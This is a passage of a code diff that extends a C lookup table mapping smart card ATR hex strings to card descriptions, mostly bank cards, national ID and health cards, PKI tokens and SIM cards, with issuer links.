"Stripe Issuing Card (Bank)" }, { "3BFB1300FF10800031C164086032100F9000", "Varo (Bank)" }, + { "3BFB1300FF10800031C164087771300F9000", "Apple Card (Bank)" }, { "3BFB1300FF10800031C164089862210F9000", "Visa Debit (Bank)" }, { "3BFB1300FF10800031C164089862290F9000", "Bank Card (Bank)" }, { "3BFB1300FF10800031C1640924331E0F9000", "TransferWise Debit Card (Bank)\nhttps://wise.com/" }, + { "3BFB1300FF10800031C164092962250F9000", "Apple Credit Card (Bank)" }, + { "3BFB1300FF10800031C164095821360F9000", "American Express issued by American Express Europe S.A. (Germany branch) (Bank)\nhttps://www.americanexpress.com/de-de/" }, + { "3BFB1300FF10800031C164095822360F9000", "LINE Bank by Hana Bank BT21 Debit Visa (Bank)" }, { "3BFB1300FF10800031C164096441360F9000", "Truist Business Debit (Bank)" }, + { "3BFB1300FF10800031C164097861310F9000", "Deel Visa Business Debit Card (Bank)\nhttps://help.letsdeel.com/hc/en-gb/articles/4407737595409-What-is-the-Deel-Card" }, { "3BFB1300FF813180755A43352E3520524556204763", "ZeitControl BasicCard 5.5" }, { "3BFB1300FF813180755A43352E3620524556204D6A", "ZeitControl BasicCard ZC5.6 user-programmable smart card\nhttp://www.basiccard.com/index.html?overview.htm" }, { "3BFB1300FF813180755A43362E3520524556204364", "ZeitControl BasicCard 6.5, multiapplication with 30 kByte EEPROM" }, @@ -3889,6 +4213,7 @@ const static atr_t AtrTable[] = { { "3BFB9600008131FE450031E85427E60100079000BC", "Gemalto (PKI)" }, { "3BFB9600008131FE4556445349354001000400011F", "Vasco DIGIPASS KEY 200 usb token\nhttp://www.vasco.com/products/digipass/digipass_pki/digipass_pki_keys/digipass_key_200.aspx\nShould contain a 'Oberthur cosmo v 5.4 or V7.0D' smartcard" }, { "3BFB9800FFC11031FE550064052047033180009000F3", "Gemplus GemGate 32K\ndistributed by Postecert (www.postecert.it) to legally sign documents" }, + { "3BFC130000108081000300203002220100140C", "SberBank card (Bank)" }, { "3BFC1300008131FE15597562696B65794E454F7233E1", "YubiKey NEO (PKI)\nhttp://www.yubico.com/" }, { "3BFC1300008131FE45597562696B65794E454F7233B1", "Yubikey Neo\nhttp://www.yubico.com/products/yubikey-hardware/yubikey-neo/" }, { "3BFC180000813180459067464A00641606F2727E00E0", "PIVKey C910 PKI Smart Card (eID)\nhttp://pivkey.com/" }, @@ -3901,6 +4226,7 @@ const static atr_t AtrTable[] = { { "3BFC1800008131FE458073C8211366020403550002D2", "National Health Insurance Card, Taiwan" }, { "3BFC9800FFC11031FE55C803496E666F63616D65726528", "New Card Infocamere (Italy) series 1402...\nhttp://www.card.infocamere.it/\nSiemens Informatica - Siemens M4.01a\nchip Infineon SLE66CX322P (CC EAL5)\nMemory EEPROM: 32KB\nOperating system CARDOS\nMax numero dei tentativi PIN: 3\nPin: da 5 a 8 digit\nUnblocked by tool CARDOS API 2.2" }, { "3BFD..00008131..4380318065B0........83..90....", "IDClassic 3XX / Classic TPC (IXS, IS, IS V2, IS CC, IM, IM CC, IM CC V3) / MultiApp ID Cards" }, + { "3BFD1300001000803180654953060B0183079000", "MIR card issued by Gazprombank (Russia) (Bank)\nhttps://www.gazprombank.ru/personal/cards/7579039/" }, { "3BFD130000813160658031C0694D54434F537301011660", "Silesian University (Katowice, Poland) Student Identity Card (eID)\nhttps://www.us.edu.pl/" }, { "3BFD1300008131FE158073C021C057597562694B657940", "Yubico YubiKey 5 NFC (PKI)\nhttps://www.yubico.com/product/yubikey-5-nfc" }, { "3BFD1300008131FE4500125553554D49444153000000F6", "Midas key diversification card (Other)" }, @@ -3911,6 +4237,7 @@ const static atr_t AtrTable[] = { { "3BFD1300008131FE4580318153534431738421C0810730", "Personal Info Card (eID)" }, { "3BFD1300FF10000031C173C8400052A1C5009000", "IBKR Prepaid MasterCard, Issued by Peoples Trust Company (Bank)\nhttps://www.interactivebrokers.com/en/index.php?f=26451" }, { "3BFD1300FF10000031C173C8400052A1D5009000", "PayPal Business Debit Mastercard (Bank)\nhttps://www.paypal.com/merchantapps/appcenter/makepayments/bdmc" }, + { "3BFD1300FF10000031C173C8400052A37B009000", "Payoneer Card - USD Currency (Bank)\nhttps://payoneer.custhelp.com/app/answers/detail/a_id/18226/~/account-with-card---faq" }, { "3BFD1800008031FE45003180718E6452D904008190005B", "Oberthur Card Systems, authentIC" }, { "3BFD1800008031FE4553434536302D43443038312D46C4", "Panama Electronic Signature (JavaCard)" }, { "3BFD1800008031FE45736674652063643134342D6E66D8", "SmartCafe Expert 3.2 144K Dual is a contact and contactless technology Java card from G&D with 144K on-board EEPROM for application and data storage. Certified to FIPS 140-2 Level 3 and Common Criteria EAL 5+. Supports specifications ISO 14443A T=CL and ISO 7816 T=1/0. (PKI)\nhttp://www.smartcardfocus.us/shop/ilp/id~523/smartcafe-expert-3-2-144k-dual/p/index.shtml" }, @@ -3937,10 +4264,12 @@ const static atr_t AtrTable[] = { { "3BFD9600008131FE450000015233672000000000000047", "DPI Guatemala (eID)\nhttps://www.renap.gob.gt/servicios/que-es-el-dpi" }, { "3BFD9600008131FE4500000161638620000000000000C5", "Renap Guatemala (eID)" }, { "3BFD9600008131FE450000016687038000000000000003", "DPI (Documento Personal de Identificacion) Guatemala (eID)" }, + { "3BFD9600008131FE45534C4A3532474441303830434348", "Universal JCard C-UJC128-PAC-001 (JavaCard)\nhttps://www.usmartcards.co.uk/universal-j-cards" }, { "3BFD9600008131FE45534C4A353247444C313238435257", "Universal JCard (Contact) with Infineon SLE78 (JavaCard)\nhttp://www.usmartcards.co.uk/cards/universal-jcard-contact-with-infineon-sle78-white-gloss-pvc-card.html" }, { "3BFD9600008131FE45534C4A35324778787979797A5224", "J3R180 (JavaCard)" }, - { "3BFE130000108080318066B0840C016E0183009000", "Sberbank of Russia MIR debit card (Bank)" }, + { "3BFE130000108080318066B0840C016E0183009000", "Sberbank of Russia MIR debit card (Bank)\nSwile card\nhttps://www.swile.co/fr-fr/swile-card" }, { "3BFE1300008131FE454A434F5076323431204C4F542057B1", "LOT test card (JavaCard)\nwww.lotgroup.eu" }, + { "3BFE130000918131804180318066B0840C016E01830090001F", "Japan Post Bank Visa Debit Card (Bank)\nhttps://www.jp-bank.japanpost.jp/kojin/cashless/yuchodebit/kj_cl_yd_index.html" }, { "3BFE1800008031FE454573744549442076657220312E30A8", "Estonian Identity Card (EstEID 3.0 'JavaCard' cold)" }, { "3BFE1800008031FE4553434536302D43443038312D6E46A9", "G&D Sm@rtCafe Expert 6.0 (JavaCard)\nhttp://www.smartcardfocus.com/shop/ilp/id~684/smartcafe-expert-6-0-80k-dual-/p/index.shtml" }, { "3BFE1800008031FE4553434536302D43443134352D6E46A0", "Smart Cafe Expert 6.0, Java Card 3.0 (PKI)" }, @@ -3963,6 +4292,7 @@ const static atr_t AtrTable[] = { { "3BFE940000801F42803180664750204583018301900002", "TATA Docomo UICC (Telecommunication)\nhttp://www.tatadocomo.com/" }, { "3BFE9400FF80B1FA451F034573744549442076657220312E3043", "Estonian Identity Card (EstEID v1.0 cold)\nEstonian Identity Card (EstEID v1.1 'MULTOS' warm)" }, { "3BFE9600008031FE4380738400E065B0850400FB8290004E", "EU smart tachograph card (driver/company/control/workshop)\nhttps://dtc.jrc.ec.europa.eu/" }, + { "3BFE9600008031FE4380738400E065B08505002582900091", "Swiss truck driver card (Transport)" }, { "3BFE9600008131FE45803180664090A5102E03830190006E9000", "Swissbit PS-100u (JavaCard)\nhttps://www.swissbit.com/ps-100u/" }, { "3BFE9600FF8131FE455DFF6D6553414D2076312E302E320C", "SAM module for Kharkiv E-ticket (mikroelektronika) (JavaCard)\nhttp://www.mikroelektronika.com/en/card-and-ticket-validators" }, { "3BFE9600FFC00A31FE4D4573744549442076657220312E309B", "Estonian Identity Card (EstEID v1.1 compatible)\nhttp://www.id.ee/?id=11019&&langchange=1" }, @@ -3977,6 +4307,7 @@ const static atr_t AtrTable[] = { { "3BFF13000010003100DE525001001500000000000000", "wisely debit (Bank)\nhttps://www.mywisely.com/" }, { "3BFF13000010003101F1564011001900000000000000", "BVG Guthabenkarte (Prepaid Payment Card for Berlin/Brandenburg Public Transport) (Transport)\nhttps://www.bvg.de/de/service-und-kontakt/guthabenkarte\nRevolut Visa Glow-in-the-dark\nhttps://revolut.com/\nMasterCard debit - PayCenter - Corporate Benefit 'Sachbezugskarte' (Bank)\nhttps://paycenter.de/sachbezugskarte/" }, { "3BFF13000010003101F1564011001D00000000000000", "albo (Bank)\nhttps://www.albo.mx/" }, + { "3BFF13000010003101F1564011002300000000000000", "ANZ BANK (Bank)\nhttps://www.anz.com.au/personal/" }, { "3BFF1300008131FE450031B9640404ECC17394018082900052", "AKD kID (eID)\nhttps://www.id.hr" }, { "3BFF1300008131FE450031B9640444ECC17394018082900012", "Croation personal ID card (eID)\nhttp://eid.hr/" }, { "3BFF1300008131FE4543433169A92000002020202020200036", "Swiss Lunch Check Wallet Card (Bank)\nhttps://lunchcheck.ch" }, @@ -4000,14 +4331,18 @@ const static atr_t AtrTable[] = { { "3BFF1300FF10000031C173C8211064414D3347079000", "Chase Visa Debit Card (Bank)\nhttps://www.chase.com/bankinghelp" }, { "3BFF1300FF10000031C173C8211064414D3348079000", "BBVA blue VISA Debit Card (Bank)\nhttps://www.bbva.es/en/personas/productos/tarjetas/tarjeta-joven-ahora.html\nDesjardins Bonus Visa credit card (Bank)\nhttps://www.desjardins.com/ca/personal/loans-credit/credit-cards/bonus-visa/index.jsp" }, { "3BFF1300FF10000031C173C8211064414D3430079000", "PNC BUSINESS VISA DEBIT (Bank)\nhttps://www.pnc.com/en/small-business/payments-and-processing/payment-cards/pnc-bank-visa-business-debit-card.html" }, + { "3BFF1300FF10000031C173C8211064414D3531079000", "Discover It Credit Card (Bank)" }, + { "3BFF1300FF10000031C173C82110644230434E079000", "Unicredit debit Card MasterCard (Italy) (Bank)" }, { "3BFF1300FF10000031C173C82110644930424E079000", "National Bank Debit Card with expiration date and cvv code (Bank)" }, { "3BFF1300FF10000031C173C82110644932424E079000", "Interact, Visa Debit Bank of Novia Scotia (Bank)\nhttps://www.scotiabank.com/global/en/credit-card-terms-and-conditions.html" }, { "3BFF1300FF10000031C173C82110644D30424E079000", "Debit payment card (Rabobank NL) (Bank)\nhttps://www.rabobank.nl/en/business/making-and-receiving-payments/payments/paying-with-your-bank-card" }, { "3BFF1300FF10000031C173C82110644D30434E079000", "Huntington (Bank)" }, + { "3BFF1300FF10000031C173C82110645530434E079000", "caixa bank debit card (Bank)" }, { "3BFF1300FF10000031C173C82110645630424E079000", "Rabobank Netherlands VISA debit (Bank)" }, { "3BFF1300FF10000031C173C82110645631424E079000", "Portuguese 'BancoCTT' Bank Card (Bank)\nhttps://www.bancoctt.pt/o-seu-dia-a-dia/cartao-de-credito-banco-ctt" }, { "3BFF1300FF10000031C173C82110645631434E079000", "Chase Freedom Unlimited Credit Card (Bank)" }, { "3BFF1300FF10808031E06B04310502AF555555555555", "USAA EMV Visa Debit Card (Bank)" }, + { "3BFF1300FF10808031E06B04546B0267555555555555", "Target RedCard debit card (Other)" }, { "3BFF1300FF10808031E06B071405028A555555555555", "Tangerine Debit Card (Bank)\nhttps://www.tangerine.ca" }, { "3BFF1300FF10808031E06B08240502B5555555555555", "Tangerine Canada Interac debit card (Bank)\nhttps://www.tangerine.ca/" }, { "3BFF1300FF8031FE45534653452D43583332322D5601010165", "Portugal Santander Totta Universitarios 'Associacao Academica de Coimbra'" }, @@ -4017,8 +4352,12 @@ const static atr_t AtrTable[] = { { "3BFF1300FF8131FE45656311045002800008540004230502A5", "Maestrocard/Geldkarte (Stadtsparkasse Haltern, Germany)" }, { "3BFF1300FF8131FE5D8025A00000005657444B33323005003F", "Datakey DCOS model 320" }, { "3BFF1300FF910131FE210031C173C82110644D30434E07900094", "AirPlus MasterCard Commercial (Bank)\nhttps://www.airplus.com/us/en/products-solutions/products/corporate-cards/corporate-cards.html" }, + { "3BFF1300FF910131FE210031C173C82110645630434E0790008F", "Girocard for ING bank in germany (Bank)\nhttps://www.ing.de/girokonto/" }, + { "3BFF1300FF910131FE413101F1564012002200000000000000EA", "JCB T-CARD PLUS (eID)\nhttps://www.aplus.co.jp/creditcard/use/tcardplus_t/index.html" }, { "3BFF1300FF910131FE4141434F5320486F6C6C7931204C633665", "OEAMTC Visa Club Card (Bank)\nhttps://www.oeamtc.at/mitgliedschaft/leistungen/die-oeamtc-kreditkarte-31091443" }, - { "3BFF1300FF918131FE4141434F532046696F6E6131204C6336F4", "Deutsche Kreditbank Debit (Bank)" }, + { "3BFF1300FF910131FE4145504100000001068135890000000063", "Austrian Bank Card for kids, teens and young adults Bank\nhttps://www.sparkasse.at/sgruppe/spark7" }, + { "3BFF1300FF910131FE41455041000000010833995600000000AC", "Austrian Sparkasse ISIC debit card (Mastercard) (eID)\nhttps://isic.at/" }, + { "3BFF1300FF918131FE4141434F532046696F6E6131204C6336F4", "Deutsche Kreditbank Debit (Bank)\nBanca Intesa Visa card (Bank)" }, { "3BFF1300FF918131FE4141434F53204769756C6961204C6336B5", "revolut debit visa (Bank)\nhttps://www.revolut.com/" }, { "3BFF1300FF918131FE4541434F53204449616E6132204C6336DF", "Alior Bank MasterCard debit (Bank)\nComdirect (Deutsch Bank) debit VISA (AUSTRIACARD 56015/001) (Bank)" }, { "3BFF1400FF8131FE458025A000000056575343363530010039", "SafeNet SC650 (PKI)\nhttp://www.safenet-inc.com/data-protection/authentication/smartcard-650/" }, @@ -4029,11 +4368,14 @@ const static atr_t AtrTable[] = { { "3BFF1800008131FE45006B0405010001210143494510318048", "hybrid card for various health services and regional services (access to various organizations and digital signatures)" }, { "3BFF1800008131FE45006B04050100012101434E5310318059", "CNS - Carta Nazionale dei Servizi (Italia)\nPA emittente: Regione Autonoma della Sardegna\nCarta del Servizio Sanitario Regionale - Emilia Romagna" }, { "3BFF1800008131FE45006B05051017012101434E531031805E", "Regional Card - Regione Liguria, Veneto - Italy (eID)\nTessera Sanitaria - Carta Regionale dei Servizi" }, + { "3BFF1800008131FE45006B050520000112024850431031804C", "CARTA SISS (HealthCare)" }, { "3BFF1800008131FE45006B05052000012101434E5310318079", "health card (HealthCare)\nhttps://tscns.regione.sardegna.it/" }, { "3BFF1800008131FE45006B0505200001F101434E53103180A9", "national health service card (HealthCare)\nhttps://ca.arubapec.it/downloads/MU_LINUX.zip" }, { "3BFF1800008131FE45006B0505912001F101434E5310318038", "Italian Health Card (TS) and Citizen's Card (CNS) based on IDEMIA ID-One CNS v2 on Cosmo 9.1 (HealthCare)" }, { "3BFF1800008131FE45006B11050700011101434E531131807B", "Italian National Fire Corps -special identification card (eID)" }, { "3BFF1800008131FE45006B11050700012101434E531031804A", "Oberthur ID-One Cosmo V7-n it's a java card 2.2.2\nIzenpe Certificado Ciudadano (eID)\nhttps://www.izenpe.eus/informacion/certificado-ciudadano/s15-content/es/" }, + { "3BFF1800008131FE45006B150C03020101014234441031800D", "bit4id (PKI)" }, + { "3BFF1800008131FE45006B150C0302010101434E5310318061", "Bit4id Digital-DNA Key (eID)" }, { "3BFF1800008131FE4D8025A00000005657444B3430300600DD", "DataKey 400 (DK400)" }, { "3BFF1800008131FE55006B02090403010101434E5310318065", "Italian Chambers of Commerce CNS (PKI)\nhttp://www.card.infocamere.it/infocard/pub/" }, { "3BFF1800008131FE55006B0209040301010144534410318068", "ACA (Lawyer Identifier Card) (eID)" }, @@ -4041,6 +4383,7 @@ const static atr_t AtrTable[] = { { "3BFF1800008131FE55006B02090603010101434E5310318067", "ST microelettronics JSign3 (HealthCare)" }, { "3BFF1800008131FE55006B02090703010101434E5310318066", "Aruba digital signing card (eID)\nhttps://www.aruba.it" }, { "3BFF1800008131FE55006B02091403010101434E5310318075", "Smart Card INFOCERT digital key CNS from CST PADOVA (eID)" }, + { "3BFF1800008131FE55006B02091613010101434E5310318067", "ANPR -- Ministero dell'Interno - Italia (PKI)" }, { "3BFF1800008131FE55006B02091717010101434E5310318062", "Carta Nazionale dei Servizi (CNS) Centro Servizi Territoriali (CST) (PKI)\nhttp://cst.provincia.padova.it/category/faq/firma-digitale" }, { "3BFF1800FF8031FE45534653452D43583332322D561803087C", "Giesecke & Devrient Sm@rtCafe Expert 2.0" }, { "3BFF1800FF8031FE45536D4072744361666545787065727465", "Giesecke & Devrient SmartCafe 32K v1" }, @@ -4056,12 +4399,22 @@ const static atr_t AtrTable[] = { { "3BFF1800FF81313C4565630D02310280001224300020041059", "Geldkarte (Germany)" }, { "3BFF1800FF813150456563............................", "GeldKarte v3 (Germany)" }, { "3BFF1800FF8131FE4065631116710156000F1309D0A957111B", "Harzer Volksbank eG bank card (girocard, V-PAY, debit card, Germany / Giesecke & Devrient, DG Nexolution, 10/22) (Bank)\nhttps://www.harzer-volksbank.de/privatkunden/girokonto-kreditkarten/bankkarte-v-pay.html" }, + { "3BFF1800FF8131FE4165630608710156000FB81026204712CD", "Fyrst Bank Card (Bank)\nhttps://fyrst.de" }, { "3BFF1800FF8131FE4165630608710156000FB85073204712D8", "Commerzbank maestro (Bank)\nhttps://www.commerzbank.de/konten-zahlungsverkehr/produkte/girokonten/kostenloses-girokonto/" }, { "3BFF1800FF8131FE4165630608710156000FB8602AA0471231", "Debit card (Germany): Postbank - GeldKarte (EUR), girocard, V-PAY (Bank)\nhttps://www.postbank.de/" }, + { "3BFF1800FF8131FE4165630608710156000FB8C040C047129B", "Maestro Bank card (aka. Giro card) of the Kreissparkasse (German bank) (Bank)" }, + { "3BFF1800FF8131FE4165630608710156000FB8C0442147127E", "Commerzbank Classic Kreditkarte Mastercard (Bank)\nhttps://www.commerzbank.de/konten-zahlungsverkehr/produkte/kreditkarten/classic-kreditkarte/" }, + { "3BFF1800FF8131FE4165630608710156000FB8D044A04712EF", "Debitcard (Bank)" }, + { "3BFF1800FF8131FE4165630608710156000FB8D09B604712F0", "Kreissparkasse Girocard (Germany) (Bank)" }, + { "3BFF1800FF8131FE4165630608710156000FB8F0BD204712B6", "Postbank Girocard Vpay Debit (Bank)\nhttps://postbank.de/privatkunden/services.html" }, { "3BFF1800FF8131FE41656306087102500023B80080C04712B2", "1822direct Bank Card (Bank)\nhttps://www.1822direkt.de" }, { "3BFF1800FF8131FE41656306087102500023B8907360471271", "Debit card (Germany): Deutsche Kreditbank (DKB), ec-cash, (Bank)\nhttps://www.dkb.de/privatkunden/karten/girocard" }, + { "3BFF1800FF8131FE4165631116710156000F0308B09957115B", "Debit card Sparkasse (Germany) (Bank)" }, + { "3BFF1800FF8131FE4165631116710156000F030CD0435711E5", "Commerzbank AG (Bank)\nhttps://www.commerzbank.de/portal/de/privatkunden/produkte/bezahlen/kreditkarten" }, { "3BFF1800FF8131FE4165631116710156000F0902904E5711AC", "German Bank Card IDEMIA 9 Maestro/Girocard (Sparkasse S-Payment TPY 1974693D) (Bank)" }, { "3BFF1800FF8131FE4165631116710156000F0908309A5711D2", "Bank card from German Bank 'Sparkasse', issued by manufacturer 'S-Payment GmbH' (Bank)" }, + { "3BFF1800FF8131FE4165631116710156000F1606A09457115D", "GLS Bank MasterCard Debit (Bank)\nhttps://www.gls.de/konten-karten/karten/bankcard/" }, + { "3BFF1800FF8131FE4165631116710156000F1607F08D571115", "comdirect girocard (Bank)" }, { "3BFF1800FF8131FE4165631116710156000F16082024571163", "German Sparkasse with visa (Bank)\nhttps://www.sparkasse.de/lp/echtesmultitalent.html#alle-funktionen" }, { "3BFF1800FF8131FE450031C573C00180547615020105900074", "SIGILANCE NFC OpenPGP Smart Card (JavaCard)\nhttps://www.sigilance.com/" }, { "3BFF1800FF8131FE455448434331305445434F4744484E3224", "National Health Insurance Card, Taiwan" }, @@ -4101,6 +4454,7 @@ const static atr_t AtrTable[] = { { "3BFF1800FF8131FE4565631108660280001156000318062092", "Geldkarte [ec, Maestro] (Sparkasse Langen-Seligenstadt, Germany)" }, { "3BFF1800FF8131FE4565631901500280000F........0512..", "SAGEM ORGA GmbH\nROM Mask=SecV1.5.3\nInit-Table=SDR0O1G0.A_B (BES0), SWR0O1H0.A_5 (CS0)\nSignaturerstellungseinheit ZKA SECCOS Sig v1.5.3\nBSI.02076.TE.12.2006" }, { "3BFF1800FF8131FE4565631A01410250001052090567051021", "Maestro/Geldkarte (BBBank Karlsruhe, Germany)" }, + { "3BFF1800FF8131FE4D006B0404B85B01F101434E531031809D", "Italian CNS (HealthCare)" }, { "3BFF1800FF8131FE55006B02090200010101434E531031809F", "Carta Nazionale dei Servizi - InfoCamere" }, { "3BFF1800FF8131FE55006B0209020001010144534410318092", "Postcom S.P.A. (digital certificate)" }, { "3BFF1800FF8131FE55006B02090200011101434E531031808F", "Carta Regionale dei Servizi - Regione Lombardia" }, @@ -4115,7 +4469,7 @@ const static atr_t AtrTable[] = { { "3BFF1800FF8131FE55006B0209130301000150534510318094", "Italian Electronic ID Card (eID)\nhttp://www.interno.gov.it/mininterno/site/it/temi/servizi_demografici/scheda_006.html" }, { "3BFF1800FF8131FE55006B02091303010101434E531031808D", "Aruba Digital Signature (Other)\nhttps://www.pec.it/offerta-firma-digitale.aspx" }, { "3BFF1800FF8131FE55006B02091303011101434E531131809C", "Politecnico di Torino Student Card (eID)\nhttp://www.polito.it/" }, - { "3BFF1800FF8131FE55006B02091617011101434E531131808D", "Carta Regionale dei Servizi - Regione Autonoma Friuli Venezia Giulia (HealthCare)\nhttps://www.regione.fvg.it/rafvg/cms/RAFVG/GEN/carta-regionale-servizi/" }, + { "3BFF1800FF8131FE55006B02091617011101434E531131808D", "Tessera Sanitaria - Carta Nazionale dei Servizi (TS-CNS)\nItalian Health Insurance Card (healthcare)" }, { "3BFF1800FF8131FE55006B02091717011101434E531131808C", "european health insurance card and Regional (ItalY - Provincia Autonoma di Trento) Service Card (CPS) (eID)\nhttps://www.provincia.tn.it/Servizi/Attivare-la-Carta-Provinciale-dei-Servizi-CPS#cos_e" }, { "3BFF1800FF8131FE55006B42495434494420312E3000900091", "Touch&Sign 2048 (PKI)" }, { "3BFF1800FF8131FE55006B42495434494420322E3000900092", "Izenpe Green Card (Citizen Certificate) (eID)\nhttp://www.izenpe.com/s15-12020/en/contenidos/informacion/ciudadano/en_def/index.shtml" }, @@ -4134,6 +4488,7 @@ const static atr_t AtrTable[] = { { "3BFF940000801F478031E073FE210000000000830F900052", "Telecommunication SIM (Telecommunication)" }, { "3BFF9400008131804380318065B0850201F3120FFF82900079", "Serbian Identity Card (eID)\nJava Card (Sealys MultiApp ID v2.1) supporting Global Platform 2.1.1" }, { "3BFF9400008131FE4380318065B0846160FB120FFD8290000E", "IDPrime 930 FIPS Level 3 (T=1 CT=94) (BAI4) (PKI)" }, + { "3BFF9400008131FE4380318065B085040011120FFF829000E2", "DPI Card ID Guatemala Version 2018 (eID) (eID)\nhttps://www.renap.gob.gt" }, { "3BFF940000C00AB1FE491F438031E073F62113573436434132302068", "Sonera UICC (Telecommunication)" }, { "3BFF9400FF400A80310073122113574A332009314100", "Globul GSM operator card (Bulgaria) (Telecommunication)" }, { "3BFF9400FF80B1FE451F030068D276000028FE052231800090001E", "Alice Business card (to be used in the modem supplied by an Italian provider)" }, @@ -4157,6 +4512,7 @@ const static atr_t AtrTable[] = { { "3BFF9500FF50801C444E41535034303020526576493439", "Big TV India (Pay TV)\nhttps://www.lyngsat.com/packages/Big-TV.html" }, { "3BFF9500FF50801C444E41535034303020526576493441", "Pay TV - NC+ in Poland (Pay TV)\nhttp://ncplus.pl/" }, { "3BFF9500FF50801C444E41535034303020526576493447", "Platforma Canal+ Polska, cameleon card (Pay TV)\nhttps://www.flysat.com/canalplus-pl.php" }, + { "3BFF9500FF50801C444E4153503430302052657649344A", "Sat Tv (Nagra) (Pay TV)" }, { "3BFF9500FF50801C444E41535034303020526576493548", "Canal+ France Nagra3 (Pay TV)\nhttps://www.canalplus.com/" }, { "3BFF9500FF50801C444E41535034383220526576523038", "CANALSAT, mediaguard key (Pay TV)" }, { "3BFF9500FFC00A1F438031E073362113574A3320073341411F", "Swisscom 3G SIM card" }, @@ -4168,6 +4524,7 @@ const static atr_t AtrTable[] = { { "3BFF9600008131804380318065B0850300EF12026C829000F9", "Authorization Card (eID)" }, { "3BFF9600008131804380318065B0850300EF120FFF82900067", "Greek Academic ID (eID)\nhttp://academicid.minedu.gov.gr/" }, { "3BFF9600008131804380318065B0850300EF12FFFE82900096", "Gematlo IDCore 8030 (JavaCard)" }, + { "3BFF9600008131804380318065B08503010F120FFF82900086", "Azerbaijan Republic National Identity Card (eID) (eID)\nhttps://www.mia.gov.az/" }, { "3BFF9600008131804380318068B0850300EF780100829000F1", "Cameroon National Identity Card (eID)" }, { "3BFF9600008131FE4380318065B0845651101201788290006A", "SafeNet eToken 5300 (PKI)" }, { "3BFF9600008131FE4380318065B08456511012021082900001", "Nedap NexS N:Secure (eID)\nhttps://www.nsecure.nl/nl/" }, @@ -4177,22 +4534,40 @@ const static atr_t AtrTable[] = { { "3BFF9600008131FE4380318065B0846669FB12FFFE829000F1", "IDCore3230 build 6.8, test APDU applet (JavaCard)" }, { "3BFF9600008131FE4380318065B085040011120FFF829000E0", "Pakistan National identity card (eID)" }, { "3BFF9600008131FE4380318065B085040120120FFF829000D0", "Portuguese National Identity Card (eID) (eID)\nhttps://www.autenticacao.gov.pt/o-cartao-de-cidadao" }, + { "3BFF9600008131FE4380318065B085050011120FFF829000E1", "Portuguese autentication card (eID)\nhttps://www.autenticacao.gov.pt/web/guest/cc-aplicacao" }, + { "3BFF9600008131FE4380318065B08505003912017882900040", "Identicard for french advocates (eID)\nhttps://doc.ubuntu-fr.org/avocats_sur_ubuntu" }, + { "3BFF9600008131FE4380318065B085050039120FFE829000C8", "SafeNet IDPrime 3940C (PKI)\nhttps://cpl.thalesgroup.com/resources/access-management/safenet-idprime-940c-3940c-smart-cards-product-brief" }, { "3BFF9600008131FE4380318065B0855956FB12017882900088", "SafeNet 5110 token for eSignature (eID)\nhttps://www.certsign.ro/en/support/safenet-installing-the-device-on-windows/" }, { "3BFF9600008131FE4380318065B0855956FB120FFC82900002", "THALES SafeNet IDPrime 3940 Fido (PKI)\nhttps://cpl.thalesgroup.com/fr/resources/access-management/idprime-3940-product-brief" }, - { "3BFF9600008131FE4380318065B0855956FB120FFE82900000", "SafeNet eToken 5110 SC (PKI)\nhttps://cpl.thalesgroup.com/access-management/authenticators/pki-usb-authentication/etoken-5110-usb-toke3B 86 80 01 49 44 2D 56 44 56 63n" }, + { "3BFF9600008131FE4380318065B0855956FB120FFE82900000", "SafeNet eToken 5110 SC (PKI)\nhttps://cpl.thalesgroup.com/access-management/authenticators/pki-usb-authentication/etoken-5110-usb-token" }, { "3BFF9600008131FE4580F9A0000003080000100053454E54AC", "cac (eID)" }, { "3BFF9600008131FE55006B02090403010101434E53103180EB", "Aruba PEC SpA digital signature card made by Incard (eID)\nhttps://www.pec.it/download-software-driver.aspx" }, { "3BFF960000C00A31FE4380318065B085040011120FFF829000AB", "French National Identity Card (eID) (eID)\nhttps://www.interieur.gouv.fr/actualites/actu-du-ministere/nouvelle-carte-nationale-didentite" }, + { "3BFF9600FF8131FE406563111562025000100A0169C9073026", "Kreissparkasse Mastercard (Germany) (Bank)" }, { "3BFF9600FF8131FE406563111562025000100A0190A90730BF", "girocard Sparkasse Ansbach, Germany BLZ 76550000 (Bank)" }, + { "3BFF9600FF8131FE406563111562025000100A01BF860730BF", "German Bank Verbundvolksbank-OWL Bank" }, { "3BFF9600FF8131FE406563111562025000100A0271500730A4", "Debitcard Sparkasse Duesseldorf (Bank) (Bank)\nhttps://www.sskduesseldorf.de/" }, + { "3BFF9600FF8131FE406563111665025000100B22BBEB074080", "girocard contactless (Bank)" }, + { "3BFF9600FF8131FE406563111665025000100B238131074061", "Debit card (Germany): girocard, V-Pay (Bank)" }, + { "3BFF9600FF8131FE406563111665025000100B23B7B20740D4", "Hannoversche Volksbank girocard / Visa Debit Card (Bank)\nhttps://www.hannoversche-volksbank.de/privatkunden/girokonto-kreditkarten/girocards/hannover-girocard.html" }, + { "3BFF9600FF8131FE406563111665025000100B246D780740C3", "Mastercard Debit Card from the Kreissparkasse (German bank) (Bank)" }, + { "3BFF9600FF8131FE4065631D02840156001F1007C0BC020024", "sparda-bank (Bank)" }, { "3BFF9600FF8131FE4065631D02840156001F190850E10200EF", "Raiffeiesenbank Girocard Maestro (Bank)" }, + { "3BFF9600FF8131FE4065631D02840156001F2108B0A902007F", "Debit Card Sparda-Bank Baden-Wurttemberg eG (Bank)" }, { "3BFF9600FF8131FE4065631D028401560024090A10CC0200AB", "Postbank Germany (Bank)\nhttps://www.postbank.de/privatkunden/services.html" }, { "3BFF9600FF8131FE4065631D028402500023010A60D40200C9", "DKB Girocard (Bank)\nhttps://www.dkb.de/privatkunden/karten/girocard" }, { "3BFF9600FF8131FE4065631D0284025000230308C0B702000A", "German Debitcard from Sparkasse (Bank)" }, { "3BFF9600FF8131FE4065631D0284025000230709E0F9020061", "Sparkasse Ingolstadt (Bank)" }, + { "3BFF9600FF8131FE4065631D0284025000231208A0EB020027", "Girocard (Bank)" }, { "3BFF9600FF8131FE4065631D028402500023140710B80200CD", "Sparkasse Aachen - german Maestro/Girocard (S-Payment TGI 50380969) (Bank)" }, { "3BFF9600FF8131FE4065631D028402500023150860DC0200D7", "Deutsche Kreditbank AG, Girocard (Bank)\nhttps://www.dkb.de" }, { "3BFF9600FF8131FE4065631D028402500023160BB0C102001A", "debit card (Bank)" }, + { "3BFF9600FF8131FE4065631D0284025000232106F0ED02004C", "DKB Girocard (Bank)" }, + { "3BFF9600FF8131FE4065631D028402500023230900A80200F4", "Kreissparkasse girocard (Bank)" }, + { "3BFF9600FF8131FE4065631D038601560002130B90FE011034", "EC card from Raiffeisenbank 